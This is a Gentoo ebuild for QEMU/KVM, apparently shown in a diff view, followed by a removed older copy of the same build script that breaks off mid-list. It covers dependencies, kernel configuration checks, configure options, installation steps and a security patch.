qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
python? ( ${PYTHON_DEPS} )
systemtap? ( dev-util/systemtap )
xen? ( app-emulation/xen-tools:= )"
DEPEND="${CDEPEND}
dev-lang/perl
=dev-lang/python-2*
sys-apps/texinfo
virtual/pkgconfig
kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
gtk? ( nls? ( sys-devel/gettext ) )
static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
test? (
dev-libs/glib[utils]
sys-devel/bc
)"
RDEPEND="${CDEPEND}
selinux? ( sec-policy/selinux-qemu )
"
STRIP_MASK="/usr/share/qemu/palcode-clipper"
QA_PREBUILT="
usr/share/qemu/openbios-ppc
usr/share/qemu/openbios-sparc64
usr/share/qemu/openbios-sparc32
usr/share/qemu/palcode-clipper
usr/share/qemu/s390-ccw.img
usr/share/qemu/u-boot.e500
"
QA_WX_LOAD="usr/bin/qemu-i386
usr/bin/qemu-x86_64
usr/bin/qemu-alpha
usr/bin/qemu-arm
usr/bin/qemu-cris
usr/bin/qemu-m68k
usr/bin/qemu-microblaze
usr/bin/qemu-microblazeel
usr/bin/qemu-mips
usr/bin/qemu-mipsel
usr/bin/qemu-or32
usr/bin/qemu-ppc
usr/bin/qemu-ppc64
usr/bin/qemu-ppc64abi32
usr/bin/qemu-sh4
usr/bin/qemu-sh4eb
usr/bin/qemu-sparc
usr/bin/qemu-sparc64
usr/bin/qemu-armeb
usr/bin/qemu-sparc32plus
usr/bin/qemu-s390x
usr/bin/qemu-unicore32"
DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
you have the kernel module loaded before running kvm. The easiest way to
ensure that the kernel module is loaded is to load it on boot.\n
For AMD CPUs the module is called 'kvm-amd'.\n
For Intel CPUs the module is called 'kvm-intel'.\n
Please review /etc/conf.d/modules for how to load these.\n\n
Make sure your user is in the 'kvm' group\n
Just run 'gpasswd -a <USER> kvm', then have <USER> re-login.\n\n
For brand new installs, the default permissions on /dev/kvm might not let you
access it. You can tell udev to reset ownership/perms:\n
udevadm trigger -c add /dev/kvm"
qemu_support_kvm() {
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
use qemu_softmmu_targets_s390x; then
return 0
fi
return 1
}
pkg_pretend() {
if use kernel_linux && kernel_is lt 2 6 25; then
eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
elif use kernel_linux; then
if ! linux_config_exists; then
eerror "Unable to check your kernel for KVM support"
else
CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
ERROR_KVM="You must enable KVM in your kernel to continue"
ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
ERROR_KVM_AMD+=" your kernel configuration."
ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
ERROR_TUN+=" into your kernel or loaded as a module to use the"
ERROR_TUN+=" virtual network device if using -net tap."
ERROR_BRIDGE="You will also need support for 802.1d"
ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
ERROR_VHOST_NET+=" support"
if use amd64 || use x86 || use amd64-linux || use x86-linux; then
CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
fi
use python && CONFIG_CHECK+=" ~DEBUG_FS"
ERROR_DEBUG_FS="debugFS support required for kvm_stat"
# Now do the actual checks setup above
check_extra_config
fi
fi
if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
eerror "instances are still pointing to it. Please update your"
eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
eerror "and the right system binary (e.g. qemu-system-x86_64)."
die "update your virt configs to not use qemu-kvm"
fi
}
pkg_setup() {
enewgroup kvm 78
}
# Sanity check to make sure target lists are kept up-to-date.
check_targets() {
local var=$1 mak=$2
local detected sorted
pushd "${S}"/default-configs >/dev/null || die
# Force C locale until glibc is updated. #564936
detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u))
sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u))
if [[ ${sorted} != "${detected}" ]] ; then
eerror "The ebuild needs to be kept in sync."
eerror "${var}: ${sorted}"
eerror "$(printf '%-*s' ${#var} configure): ${detected}"
die "sync ${var} to the list of targets"
fi
popd >/dev/null
}
handle_locales() {
# Make sure locale list is kept up-to-date.
local detected sorted
detected=$(echo $(cd po && printf '%s\n' *.po | grep -v messages.po | sed 's:.po$::' | sort -u))
sorted=$(echo $(printf '%s\n' ${PLOCALES} | sort -u))
if [[ ${sorted} != "${detected}" ]] ; then
eerror "The ebuild needs to be kept in sync."
eerror "PLOCALES: ${sorted}"
eerror " po/*.po: ${detected}"
die "sync PLOCALES"
fi
# Deal with selective install of locales.
if use nls ; then
# Delete locales the user does not want. #577814
rm_loc() { rm po/$1.po || die; }
l10n_for_each_disabled_locale_do rm_loc
else
# Cheap hack to disable gettext .mo generation.
rm -f po/*.po
fi
}
src_prepare() {
check_targets IUSE_SOFTMMU_TARGETS softmmu
check_targets IUSE_USER_TARGETS linux-user
# Alter target makefiles to accept CFLAGS set via flag-o
sed -i -r \
-e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
Makefile Makefile.target || die
epatch "${FILESDIR}"/${PN}-2.5.0-cflags.patch
epatch "${FILESDIR}"/${PN}-2.5.0-sysmacros.patch
epatch "${FILESDIR}"/${P}-CVE-2016-6836.patch
# Fix ld and objcopy being called directly
tc-export AR LD OBJCOPY
# Verbose builds
MAKEOPTS+=" V=1"
epatch_user
# Run after we've applied all patches.
handle_locales
}
##
# configures qemu based on the build directory and the build type
# we are using.
#
qemu_src_configure() {
debug-print-function ${FUNCNAME} "$@"
local buildtype=$1
local builddir="${S}/${buildtype}-build"
local static_flag="static-${buildtype}"
mkdir "${builddir}"
local conf_opts=(
--prefix=/usr
--sysconfdir=/etc
--libdir=/usr/$(get_libdir)
--docdir=/usr/share/doc/${PF}/html
--disable-bsd-user
--disable-guest-agent
--disable-strip
--disable-werror
# We support gnutls/nettle for crypto operations. It is possible
# to use gcrypt when gnutls/nettle are disabled (but not when they
# are enabled), but it's not really worth the hassle. Disable it
# all the time to avoid automatically detecting it. #568856
--disable-gcrypt
--python="${PYTHON}"
--cc="$(tc-getCC)"
--cxx="$(tc-getCXX)"
--host-cc="$(tc-getBUILD_CC)"
$(use_enable debug debug-info)
$(use_enable debug debug-tcg)
--enable-docs
$(use_enable tci tcg-interpreter)
$(use_enable xattr attr)
)
# Disable options not used by user targets as the default configure
# options will autoprobe and try to link in a bunch of unused junk.
conf_softmmu() {
if [[ ${buildtype} == "user" ]] ; then
echo "--disable-${2:-$1}"
else
use_enable "$@"
fi
}
conf_opts+=(
$(conf_softmmu accessibility brlapi)
$(conf_softmmu aio linux-aio)
$(conf_softmmu bzip2)
$(conf_softmmu bluetooth bluez)
$(conf_softmmu caps cap-ng)
$(conf_softmmu curl)
$(conf_softmmu fdt)
$(conf_softmmu glusterfs)
$(conf_softmmu gnutls)
$(conf_softmmu gnutls nettle)
$(conf_softmmu gtk)
$(conf_softmmu infiniband rdma)
$(conf_softmmu iscsi libiscsi)
$(conf_softmmu jpeg vnc-jpeg)
$(conf_softmmu kernel_linux kvm)
$(conf_softmmu lzo)
$(conf_softmmu ncurses curses)
$(conf_softmmu nfs libnfs)
$(conf_softmmu numa)
$(conf_softmmu opengl)
$(conf_softmmu png vnc-png)
$(conf_softmmu rbd)
$(conf_softmmu sasl vnc-sasl)
$(conf_softmmu sdl)
$(conf_softmmu seccomp)
$(conf_softmmu smartcard)
$(conf_softmmu snappy)
$(conf_softmmu spice)
$(conf_softmmu ssh libssh2)
$(conf_softmmu usb libusb)
$(conf_softmmu usbredir usb-redir)
$(conf_softmmu uuid)
$(conf_softmmu vde)
$(conf_softmmu vhost-net)
$(conf_softmmu virgl virglrenderer)
$(conf_softmmu virtfs)
$(conf_softmmu vnc)
$(conf_softmmu vte)
$(conf_softmmu xen)
$(conf_softmmu xen xen-pci-passthrough)
$(conf_softmmu xfs xfsctl)
)
case ${buildtype} in
user)
conf_opts+=(
--enable-linux-user
--disable-system
--disable-blobs
--disable-tools
)
;;
softmmu)
# audio options
local audio_opts="oss"
use alsa && audio_opts="alsa,${audio_opts}"
use sdl && audio_opts="sdl,${audio_opts}"
use pulseaudio && audio_opts="pa,${audio_opts}"
conf_opts+=(
--disable-linux-user
--enable-system
--with-system-pixman
--audio-drv-list="${audio_opts}"
)
use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) )
;;
tools)
conf_opts+=(
--disable-linux-user
--disable-system
--disable-blobs
$(use_enable bzip2)
)
static_flag="static"
;;
esac
local targets="${buildtype}_targets"
[[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" )
# Add support for SystemTAP
use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
# We always want to attempt to build with PIE support as it results
# in a more secure binary. But it doesn't work with static or if
# the current GCC doesn't have PIE support.
if use ${static_flag}; then
conf_opts+=( --static --disable-pie )
else
gcc-specs-pie && conf_opts+=( --enable-pie )
fi
echo "../configure ${conf_opts[*]}"
cd "${builddir}"
../configure "${conf_opts[@]}" || die "configure failed"
# FreeBSD's kernel does not support QEMU assigning/grabbing
# host USB devices yet
use kernel_FreeBSD && \
sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
}
src_configure() {
local target
python_setup
softmmu_targets= softmmu_bins=()
user_targets= user_bins=()
for target in ${IUSE_SOFTMMU_TARGETS} ; do
if use "qemu_softmmu_targets_${target}"; then
softmmu_targets+=",${target}-softmmu"
softmmu_bins+=( "qemu-system-${target}" )
fi
done
for target in ${IUSE_USER_TARGETS} ; do
if use "qemu_user_targets_${target}"; then
user_targets+=",${target}-linux-user"
user_bins+=( "qemu-${target}" )
fi
done
softmmu_targets=${softmmu_targets#,}
user_targets=${user_targets#,}
[[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu"
[[ -n ${user_targets} ]] && qemu_src_configure "user"
[[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools"
}
src_compile() {
if [[ -n ${user_targets} ]]; then
cd "${S}/user-build"
default
fi
if [[ -n ${softmmu_targets} ]]; then
cd "${S}/softmmu-build"
default
fi
if [[ -z ${softmmu_targets}${user_targets} ]]; then
cd "${S}/tools-build"
default
fi
}
src_test() {
if [[ -n ${softmmu_targets} ]]; then
cd "${S}/softmmu-build"
pax-mark m */qemu-system-* #515550
emake -j1 check
emake -j1 check-report.html
fi
}
qemu_python_install() {
python_domodule "${S}/scripts/qmp/qmp.py"
python_doscript "${S}/scripts/kvm/vmxcap"
python_doscript "${S}/scripts/qmp/qmp-shell"
python_doscript "${S}/scripts/qmp/qemu-ga-client"
}
src_install() {
if [[ -n ${user_targets} ]]; then
cd "${S}/user-build"
emake DESTDIR="${ED}" install
# Install binfmt handler init script for user targets
newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
fi
if [[ -n ${softmmu_targets} ]]; then
cd "${S}/softmmu-build"
emake DESTDIR="${ED}" install
# This might not exist if the test failed. #512010
[[ -e check-report.html ]] && dohtml check-report.html
if use kernel_linux; then
udev_dorules "${FILESDIR}"/65-kvm.rules
fi
if use python; then
python_foreach_impl qemu_python_install
fi
fi
if [[ -z ${softmmu_targets}${user_targets} ]]; then
cd "${S}/tools-build"
emake DESTDIR="${ED}" install
fi
# Disable mprotect on the qemu binaries as they use JITs to be fast #459348
pushd "${ED}"/usr/bin >/dev/null
pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
popd >/dev/null
# Install config file example for qemu-bridge-helper
insinto "/etc/qemu"
doins "${FILESDIR}/bridge.conf"
# Remove the docdir placed qmp-commands.txt
mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/" || die
cd "${S}"
dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
newdoc pc-bios/README README.pc-bios
dodoc docs/qmp-*.txt
if [[ -n ${softmmu_targets} ]]; then
# Remove SeaBIOS since we're using the SeaBIOS packaged one
rm "${ED}/usr/share/qemu/bios.bin"
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
fi
# Remove vgabios since we're using the vgabios packaged one
rm "${ED}/usr/share/qemu/vgabios.bin"
rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
fi
# Remove sgabios since we're using the sgabios packaged one
rm "${ED}/usr/share/qemu/sgabios.bin"
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
fi
# Remove iPXE since we're using the iPXE packaged one
rm "${ED}"/usr/share/qemu/pxe-*.rom
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
fi
fi
qemu_support_kvm && readme.gentoo_create_doc
}
pkg_postinst() {
if qemu_support_kvm; then
readme.gentoo_print_elog
fi
if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
udev_reload
fi
fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
}
pkg_info() {
echo "Using:"
echo " $(best_version app-emulation/spice-protocol)"
echo " $(best_version sys-firmware/ipxe)"
echo " $(best_version sys-firmware/seabios)"
if has_version 'sys-firmware/seabios[binary]'; then
echo " USE=binary"
else
echo " USE=''"
fi
echo " $(best_version sys-firmware/vgabios)"
}

View File

@ -1,677 +0,0 @@
# Copyright 1999-2016 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
EAPI="5"
PYTHON_COMPAT=( python2_7 )
PYTHON_REQ_USE="ncurses,readline"
PLOCALES="bg de_DE fr_FR hu it tr zh_CN"
inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
user udev fcaps readme.gentoo pax-utils l10n
if [[ ${PV} = *9999* ]]; then
EGIT_REPO_URI="git://git.qemu.org/qemu.git"
inherit git-2
SRC_URI=""
else
SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2"
KEYWORDS="~amd64 ~arm64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
fi
DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
LICENSE="GPL-2 LGPL-2 BSD-2"
SLOT="0"
IUSE="accessibility +aio alsa bluetooth bzip2 +caps +curl debug +fdt glusterfs \
gnutls gtk gtk2 infiniband iscsi +jpeg \
kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
+png pulseaudio python \
rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu
static-user systemtap tci test +threads usb usbredir +uuid vde +vhost-net \
virgl virtfs +vnc vte xattr xen xfs"
COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
x86_64"
IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb"
IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus tilegx"
use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
# Allow no targets to be built so that people can get a tools-only build.
# Block USE flag configurations known to not work.
REQUIRED_USE="${PYTHON_REQUIRED_USE}
gtk2? ( gtk )
qemu_softmmu_targets_arm? ( fdt )
qemu_softmmu_targets_microblaze? ( fdt )
qemu_softmmu_targets_ppc? ( fdt )
qemu_softmmu_targets_ppc64? ( fdt )
sdl2? ( sdl )
static? ( static-softmmu static-user )
static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
virtfs? ( xattr )
vte? ( gtk )"
# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
#
# The attr lib isn't always linked in (although the USE flag is always
# respected). This is because qemu supports using the C library's API
# when available rather than always using the extranl library.
#
# Older versions of gnutls are supported, but it's simpler to just require
# the latest versions. This is also why we require nettle.
#
# TODO: Split out tools deps into another var. e.g. bzip2 is only used by
# system binaries and tools, not user binaries.
COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
sys-libs/zlib[static-libs(+)]
bzip2? ( app-arch/bzip2[static-libs(+)] )
xattr? ( sys-apps/attr[static-libs(+)] )"
SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
>=x11-libs/pixman-0.28.0[static-libs(+)]
accessibility? ( app-accessibility/brltty[static-libs(+)] )
aio? ( dev-libs/libaio[static-libs(+)] )
alsa? ( >=media-libs/alsa-lib-1.0.13 )
bluetooth? ( net-wireless/bluez )
caps? ( sys-libs/libcap-ng[static-libs(+)] )
curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
gnutls? (
dev-libs/nettle:=[static-libs(+)]
>=net-libs/gnutls-3.0:=[static-libs(+)]
)
gtk? (
gtk2? (
x11-libs/gtk+:2
vte? ( x11-libs/vte:0 )
)
!gtk2? (
x11-libs/gtk+:3
vte? ( x11-libs/vte:2.90 )
)
)
infiniband? ( sys-fabric/librdmacm:=[static-libs(+)] )
iscsi? ( net-libs/libiscsi )
jpeg? ( virtual/jpeg:0=[static-libs(+)] )
lzo? ( dev-libs/lzo:2[static-libs(+)] )
ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
numa? ( sys-process/numactl[static-libs(+)] )
opengl? (
virtual/opengl
media-libs/libepoxy[static-libs(+)]
media-libs/mesa[static-libs(+)]
media-libs/mesa[egl,gles2]
)
png? ( media-libs/libpng:0=[static-libs(+)] )
pulseaudio? ( media-sound/pulseaudio )
rbd? ( sys-cluster/ceph[static-libs(+)] )
sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
sdl? (
!sdl2? (
media-libs/libsdl[X]
>=media-libs/libsdl-1.2.11[static-libs(+)]
)
sdl2? (
media-libs/libsdl2[X]
media-libs/libsdl2[static-libs(+)]
)
)
seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
smartcard? ( >=app-emulation/libcacard-2.5.0[static-libs(+)] )
snappy? ( app-arch/snappy[static-libs(+)] )
spice? (
>=app-emulation/spice-protocol-0.12.3
>=app-emulation/spice-0.12.0[static-libs(+)]
)
ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
usb? ( >=virtual/libusb-1-r2[static-libs(+)] )
usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] )
uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
vde? ( net-misc/vde[static-libs(+)] )
virgl? ( media-libs/virglrenderer[static-libs(+)] )
virtfs? ( sys-libs/libcap )
xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
X86_FIRMWARE_DEPEND="
>=sys-firmware/ipxe-1.0.0_p20130624
pin-upstream-blobs? (
~sys-firmware/seabios-1.8.2
~sys-firmware/sgabios-0.1_pre8
~sys-firmware/vgabios-0.7a
)
!pin-upstream-blobs? (
sys-firmware/seabios
sys-firmware/sgabios
sys-firmware/vgabios
)"
CDEPEND="
!static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
!static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
python? ( ${PYTHON_DEPS} )
systemtap? ( dev-util/systemtap )
xen? ( app-emulation/xen-tools:= )"
DEPEND="${CDEPEND}
dev-lang/perl
=dev-lang/python-2*
sys-apps/texinfo
virtual/pkgconfig
kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
gtk? ( nls? ( sys-devel/gettext ) )
static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
test? (
dev-libs/glib[utils]
sys-devel/bc
)"
RDEPEND="${CDEPEND}
selinux? ( sec-policy/selinux-qemu )
"
STRIP_MASK="/usr/share/qemu/palcode-clipper"
QA_PREBUILT="
usr/share/qemu/openbios-ppc
usr/share/qemu/openbios-sparc64
usr/share/qemu/openbios-sparc32
usr/share/qemu/palcode-clipper
usr/share/qemu/s390-ccw.img
usr/share/qemu/u-boot.e500
"
QA_WX_LOAD="usr/bin/qemu-i386
usr/bin/qemu-x86_64
usr/bin/qemu-alpha
usr/bin/qemu-arm
usr/bin/qemu-cris
usr/bin/qemu-m68k
usr/bin/qemu-microblaze
usr/bin/qemu-microblazeel
usr/bin/qemu-mips
usr/bin/qemu-mipsel
usr/bin/qemu-or32
usr/bin/qemu-ppc
usr/bin/qemu-ppc64
usr/bin/qemu-ppc64abi32
usr/bin/qemu-sh4
usr/bin/qemu-sh4eb
usr/bin/qemu-sparc
usr/bin/qemu-sparc64
usr/bin/qemu-armeb
usr/bin/qemu-sparc32plus
usr/bin/qemu-s390x
usr/bin/qemu-unicore32"
DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
you have the kernel module loaded before running kvm. The easiest way to
ensure that the kernel module is loaded is to load it on boot.\n
For AMD CPUs the module is called 'kvm-amd'.\n
For Intel CPUs the module is called 'kvm-intel'.\n
Please review /etc/conf.d/modules for how to load these.\n\n
Make sure your user is in the 'kvm' group\n
Just run 'gpasswd -a <USER> kvm', then have <USER> re-login.\n\n
For brand new installs, the default permissions on /dev/kvm might not let you
access it. You can tell udev to reset ownership/perms:\n
udevadm trigger -c add /dev/kvm"
qemu_support_kvm() {
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
use qemu_softmmu_targets_s390x; then
return 0
fi
return 1
}
pkg_pretend() {
if use kernel_linux && kernel_is lt 2 6 25; then
eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
elif use kernel_linux; then
if ! linux_config_exists; then
eerror "Unable to check your kernel for KVM support"
else
CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
ERROR_KVM="You must enable KVM in your kernel to continue"
ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
ERROR_KVM_AMD+=" your kernel configuration."
ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
ERROR_TUN+=" into your kernel or loaded as a module to use the"
ERROR_TUN+=" virtual network device if using -net tap."
ERROR_BRIDGE="You will also need support for 802.1d"
ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
ERROR_VHOST_NET+=" support"
if use amd64 || use x86 || use amd64-linux || use x86-linux; then
CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
fi
use python && CONFIG_CHECK+=" ~DEBUG_FS"
ERROR_DEBUG_FS="debugFS support required for kvm_stat"
# Now do the actual checks setup above
check_extra_config
fi
fi
if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
eerror "instances are still pointing to it. Please update your"
eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
eerror "and the right system binary (e.g. qemu-system-x86_64)."
die "update your virt configs to not use qemu-kvm"
fi
}
pkg_setup() {
enewgroup kvm 78
}
# Sanity check to make sure target lists are kept up-to-date.
check_targets() {
local var=$1 mak=$2
local detected sorted
pushd "${S}"/default-configs >/dev/null || die
# Force C locale until glibc is updated. #564936
detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u))
sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u))
if [[ ${sorted} != "${detected}" ]] ; then
eerror "The ebuild needs to be kept in sync."
eerror "${var}: ${sorted}"
eerror "$(printf '%-*s' ${#var} configure): ${detected}"
die "sync ${var} to the list of targets"
fi
popd >/dev/null
}
handle_locales() {
# Make sure locale list is kept up-to-date.
local detected sorted
detected=$(echo $(cd po && printf '%s\n' *.po | grep -v messages.po | sed 's:.po$::' | sort -u))
sorted=$(echo $(printf '%s\n' ${PLOCALES} | sort -u))
if [[ ${sorted} != "${detected}" ]] ; then
eerror "The ebuild needs to be kept in sync."
eerror "PLOCALES: ${sorted}"
eerror " po/*.po: ${detected}"
die "sync PLOCALES"
fi
# Deal with selective install of locales.
if use nls ; then
# Delete locales the user does not want. #577814
rm_loc() { rm po/$1.po || die; }
l10n_for_each_disabled_locale_do rm_loc
else
# Cheap hack to disable gettext .mo generation.
rm -f po/*.po
fi
}
src_prepare() {
check_targets IUSE_SOFTMMU_TARGETS softmmu
check_targets IUSE_USER_TARGETS linux-user
# Alter target makefiles to accept CFLAGS set via flag-o
sed -i -r \
-e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
Makefile Makefile.target || die
epatch "${FILESDIR}"/${PN}-2.5.0-cflags.patch
epatch "${FILESDIR}"/${PN}-2.5.0-sysmacros.patch
# Fix ld and objcopy being called directly
tc-export AR LD OBJCOPY
# Verbose builds
MAKEOPTS+=" V=1"
epatch_user
# Run after we've applied all patches.
handle_locales
}
##
# configures qemu based on the build directory and the build type
# we are using.
#
qemu_src_configure() {
debug-print-function ${FUNCNAME} "$@"
local buildtype=$1
local builddir="${S}/${buildtype}-build"
local static_flag="static-${buildtype}"
mkdir "${builddir}"
local conf_opts=(
--prefix=/usr
--sysconfdir=/etc
--libdir=/usr/$(get_libdir)
--docdir=/usr/share/doc/${PF}/html
--disable-bsd-user
--disable-guest-agent
--disable-strip
--disable-werror
# We support gnutls/nettle for crypto operations. It is possible
# to use gcrypt when gnutls/nettle are disabled (but not when they
# are enabled), but it's not really worth the hassle. Disable it
# all the time to avoid automatically detecting it. #568856
--disable-gcrypt
--python="${PYTHON}"
--cc="$(tc-getCC)"
--cxx="$(tc-getCXX)"
--host-cc="$(tc-getBUILD_CC)"
$(use_enable debug debug-info)
$(use_enable debug debug-tcg)
--enable-docs
$(use_enable tci tcg-interpreter)
$(use_enable xattr attr)
)
# Disable options not used by user targets as the default configure
# options will autoprobe and try to link in a bunch of unused junk.
conf_softmmu() {
if [[ ${buildtype} == "user" ]] ; then
echo "--disable-${2:-$1}"
else
use_enable "$@"
fi
}
conf_opts+=(
$(conf_softmmu accessibility brlapi)
$(conf_softmmu aio linux-aio)
$(conf_softmmu bzip2)
$(conf_softmmu bluetooth bluez)
$(conf_softmmu caps cap-ng)
$(conf_softmmu curl)
$(conf_softmmu fdt)
$(conf_softmmu glusterfs)
$(conf_softmmu gnutls)
$(conf_softmmu gnutls nettle)
$(conf_softmmu gtk)
$(conf_softmmu infiniband rdma)
$(conf_softmmu iscsi libiscsi)
$(conf_softmmu jpeg vnc-jpeg)
$(conf_softmmu kernel_linux kvm)
$(conf_softmmu lzo)
$(conf_softmmu ncurses curses)
$(conf_softmmu nfs libnfs)
$(conf_softmmu numa)
$(conf_softmmu opengl)
$(conf_softmmu png vnc-png)
$(conf_softmmu rbd)
$(conf_softmmu sasl vnc-sasl)
$(conf_softmmu sdl)
